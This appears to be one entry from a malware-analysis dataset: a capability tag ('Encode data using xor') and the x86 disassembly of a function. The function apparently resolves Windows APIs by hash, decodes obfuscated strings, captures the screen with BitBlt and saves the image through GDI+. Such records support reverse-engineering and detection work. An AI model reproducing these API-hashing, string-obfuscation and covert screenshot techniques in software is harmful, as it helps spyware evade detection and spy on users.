Function at 0x40b6f9
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
mov dword [ebp - 0x5c], ecx
mov edx, 0xc1345e55
push 6
pop ecx
call fcn.00404bfc
mov esi, eax
mov dword [ebp - 9], 0x6157522e
mov dl, 0x2e
mov dword [ebp - 5], 0x674f5a5e
mov byte [ebp - 1], 0
xor ecx, ecx
movsx eax, dl
and eax, 0x8000000f
jns 0x40b74d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 7
jae 0x40b75c
mov dl, byte [ebp - 9]
jmp 0x40b73e
xor eax, eax
push eax
push eax
push eax
mov byte [ebp - 1], al
lea eax, [ebp - 8]
push eax
call esi
mov edi, eax
mov esi, 0x68690895
push 6
mov edx, esi
mov dword [ebp - 0x50], edi
pop ecx
call fcn.00404bfc
push 8
push edi
call eax
push 6
mov edx, esi
mov dword [ebp - 0x24], eax
pop ecx
call fcn.00404bfc
push 0xa
push edi
call eax
push 6
mov edx, 0x7cfa7e5d
mov esi, eax
pop ecx
call fcn.00404bfc
push edi
call eax
and dword [ebp - 0x78], 0
lea edi, [ebp - 0xec]
push 0xa
mov dword [ebp - 0x48], eax
mov edx, 0x7377c541
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov edi, dword [ebp - 0x24]
inc eax
and dword [ebp - 0xe0], 0
mov ecx, esi
push 0x20
mov word [ebp - 0xe4], ax
neg ecx
pop eax
mov dword [ebp - 0xe8], ecx
push 6
pop ecx
mov dword [ebp - 0xf0], 0x28
mov dword [ebp - 0xec], edi
mov word [ebp - 0xe2], ax
call fcn.00404bfc
xor edx, edx
lea ecx, [ebp - 0x78]
push edx
push edx
push ecx
push edx
lea ecx, [ebp - 0xf0]
push ecx
push dword [ebp - 0x50]
call eax
push 6
mov edx, 0xb8fb4fa5
mov dword [ebp - 0x4c], eax
pop ecx
call fcn.00404bfc
push dword [ebp - 0x4c]
push dword [ebp - 0x48]
call eax
push 6
mov edx, 0x5bdb4092
mov dword [ebp - 0x80], eax
pop ecx
call fcn.00404bfc
push 0xcc0020
xor ecx, ecx
push ecx
push ecx
push dword [ebp - 0x50]
push esi
push edi
push ecx
push ecx
push dword [ebp - 0x48]
call eax
movaps xmm0, xmmword [0x41af00]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
movsx eax, byte [ebp - 0x20]
and eax, 0x8000000f
jns 0x40b86d
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x40b85d
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1f]
mov esi, 0x41e7a0
push 6
pop ecx
mov edi, esp
push eax
lea eax, [ebp - 0x200]
push 0x104
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00407795
add esp, 0x24
mov edx, 0xd3e65c39
xor ecx, ecx
call fcn.00404bfc
mov esi, eax
mov cl, byte [str.gdiplus.dll]
mov al, byte [0x41ad6a]
push 0x76
pop edx
xor al, dl
mov byte [ebp - 0x1d], dl
mov byte [ebp - 0x1a], al
xor cl, dl
mov al, byte [0x41ad6b]
xor al, dl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x19], al
mov al, byte [0x41ad6c]
xor al, dl
mov cl, byte [0x41ad69]
mov byte [ebp - 0x18], al
xor cl, dl
mov al, byte [0x41ad6d]
xor al, dl
mov byte [ebp - 0x1b], cl
mov byte [ebp - 0x17], al
mov al, byte [0x41ad6e]
xor al, dl
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x16], al
mov al, byte [0x41ad6f]
xor al, dl
mov byte [ebp - 0x15], al
mov al, byte [0x41ad70]
xor al, dl
mov byte [ebp - 0x14], al
mov al, byte [0x41ad71]
xor al, dl
mov byte [ebp - 0x13], al
mov al, byte [0x41ad72]
xor al, dl
mov byte [ebp - 0x12], al
xor eax, eax
xor byte [ebp + eax - 0x1c], dl
inc eax
cmp eax, 0xb
jae 0x40b93b
mov dl, byte [ebp - 0x1d]
jmp 0x40b92c
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x11], 0
push eax
call esi
mov esi, eax
test esi, esi
je 0x40bbfb
mov edi, 0xdc02ba32
xor ecx, ecx
mov edx, edi
call fcn.00404bfc
movaps xmm0, xmmword [str._Vsx]
xor edx, edx
movups xmmword [ebp - 0x90], xmm0
movsx ecx, byte [ebp - 0x90]
and ecx, 0x8000000f
jns 0x40b981
dec ecx
or ecx, 0xfffffff0
inc ecx
sub byte [ebp + edx - 0x8f], cl
inc edx
cmp edx, 0xe
jb 0x40b96d
lea ecx, [ebp - 0x8f]
mov byte [ebp - 0x81], 0
push ecx
push esi
call eax
mov edx, edi
mov dword [ebp - 0x10], eax
xor ecx, ecx
call fcn.00404bfc
movaps xmm0, xmmword [0x41b430]
mov edx, eax
movups xmmword [ebp - 0xb3], xmm0
mov byte [ebp - 0xa3], 0
xor ecx, ecx
movsx eax, byte [ebp - 0xb3]
and eax, 0x8000000f
jns 0x40b9d7
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0xb2], al
inc ecx
cmp ecx, 0xf
jb 0x40b9c4
lea eax, [ebp - 0xb2]
mov byte [ebp - 0xa3], 0
push eax
push esi
call edx
mov edx, edi
mov dword [ebp - 0x24], eax
xor ecx, ecx
call fcn.00404bfc
movaps xmm0, xmmword [0x41b390]
mov edx, eax
movups xmmword [ebp - 0x42], xmm0
mov dword [ebp - 0x32], 0x7c7f537d
xor ecx, ecx
mov dword [ebp - 0x2e], 0x564f557a
mov dword [ebp - 0x2a], 0x5d4e5a61
mov byte [ebp - 0x26], 0
movsx eax, byte [ebp - 0x42]
and eax, 0x8000000f
jns 0x40ba39
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x41], al
inc ecx
cmp ecx, 0x1b
jb 0x40ba29
lea eax, [ebp - 0x41]
mov byte [ebp - 0x26], 0
push eax
push esi
call edx
mov edx, edi
mov dword [ebp - 0x54], eax
xor ecx, ecx
call fcn.00404bfc
movaps xmm0, xmmword [0x41b180]
mov edi, eax
movups xmmword [ebp - 0x71], xmm0
mov dword [ebp - 0x61], 0x353c3916
xor ecx, ecx
mov byte [ebp - 0x5d], 0
mov al, byte [ebp - 0x71]
xor byte [ebp + ecx - 0x70], al
inc ecx
cmp ecx, 0x13
jb 0x40ba74
lea eax, [ebp - 0x70]
mov byte [ebp - 0x5d], 0
push eax
push esi
call edi
mov edx, 0xdc02ba32
mov dword [ebp - 0x58], eax
xor ecx, ecx
call fcn.00404bfc
movaps xmm0, xmmword [0x41afd0]
mov edx, eax
movups xmmword [ebp - 0xa2], xmm0
mov word [ebp - 0x92], 0xe
xor ecx, ecx
mov al, byte [ebp - 0xa2]
xor byte [ebp + ecx - 0xa1], al
inc ecx
cmp ecx, 0x10
jb 0x40bab6
lea eax, [ebp - 0xa1]
mov byte [ebp - 0x91], 0
push eax
push esi
call edx
mov edi, eax
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x40bbec
cmp dword [ebp - 0x24], 0
je 0x40bbec
cmp dword [ebp - 0x54], 0
je 0x40bbec
cmp dword [ebp - 0x58], 0
je 0x40bbec
test edi, edi
je 0x40bbec
xor ecx, ecx
mov dword [ebp - 0xc4], 1
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0xb8], ecx
lea ecx, [ebp - 0xf8]
push ecx
lea ecx, [ebp - 0xc4]
push ecx
lea ecx, [ebp - 0x7c]
push ecx
call eax
test eax, eax
jne 0x40bbec
and dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
push dword [ebp - 0x4c]
call dword [ebp - 0x54]
test eax, eax
jne 0x40bbe6
mov dword [ebp - 0x3c], 0xff92ff96
mov dword [ebp - 0x38], 0xff98ff9e
mov dword [ebp - 0x34], 0xffd0ff9a
mov dword [ebp - 0x30], 0xff8fff95
mov dword [ebp - 0x2c], 0xff98ff9a
mov word [ebp - 0x28], ax
not word [ebp + eax*2 - 0x3c]
inc eax
cmp eax, 0xa
jb 0x40bb85
mov ecx, dword [ebp - 0x5c]
xor eax, eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x3c]
push eax
call fcn.0040b4e1
mov ecx, 0x104
lea eax, [ebp - 0x200]
push ecx
push eax
push ecx
lea eax, [ebp - 0x408]
push eax
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
add esp, 0x14
lea eax, [ebp - 0x90]
push 0
push eax
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 0x10]
call dword [ebp - 0x58]
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x7c]
call dword [ebp - 0x24]
mov edx, 0xdef80ae7
xor ecx, ecx
call fcn.00404bfc
push esi
call eax
push 6
mov edx, 0xb8fb4fa5
pop ecx
call fcn.00404bfc
push dword [ebp - 0x80]
mov esi, dword [ebp - 0x48]
push esi
call eax
push 6
mov edx, 0x81cab797
pop ecx
call fcn.00404bfc
push dword [ebp - 0x4c]
call eax
mov edi, 0xca66e0a8
push 6
mov edx, edi
pop ecx
call fcn.00404bfc
push esi
call eax
push 6
mov edx, edi
pop ecx
call fcn.00404bfc
push dword [ebp - 0x50]
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret